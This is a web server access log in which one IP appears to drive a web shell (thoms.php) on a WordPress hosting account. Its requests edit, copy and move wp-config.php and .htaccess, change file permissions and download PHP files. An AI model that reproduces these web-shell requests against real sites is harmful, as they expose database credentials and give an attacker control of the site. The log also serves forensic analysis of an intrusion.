45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10946 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 9354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 6522 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6576 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F%2F.984720865621595.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 6681 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 6571 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 6543 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 33676 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 6850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 16643 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=bestjudy.com.tw HTTP/1.1" 200 13056 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /thoms.php?edit=wp-settings.php&p=bestjudy.com.tw HTTP/1.1" 200 19241 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 22852 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?edit=wp-mail.php&p=bestjudy.com.tw HTTP/1.1" 200 15097 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 18719 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20236 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22635 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 200 12431 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11398 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 17058 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:41 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20233 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?edit=wp-config.php&p=bestjudy.com.tw HTTP/1.1" 200 13462 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20235 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20407 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p= HTTP/1.1" 200 12371 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22662 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20502 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p= HTTP/1.1" 200 12409 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22670 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20504 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11856 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?edit=.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 12467 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 16081 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?chmod=ms-site.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?chmod=class-feed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:43 -0400] "GET /thoms.php?dl=https-migration.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 200 17849 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:44 -0400] "GET /thoms.php?dl=block-patterns.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
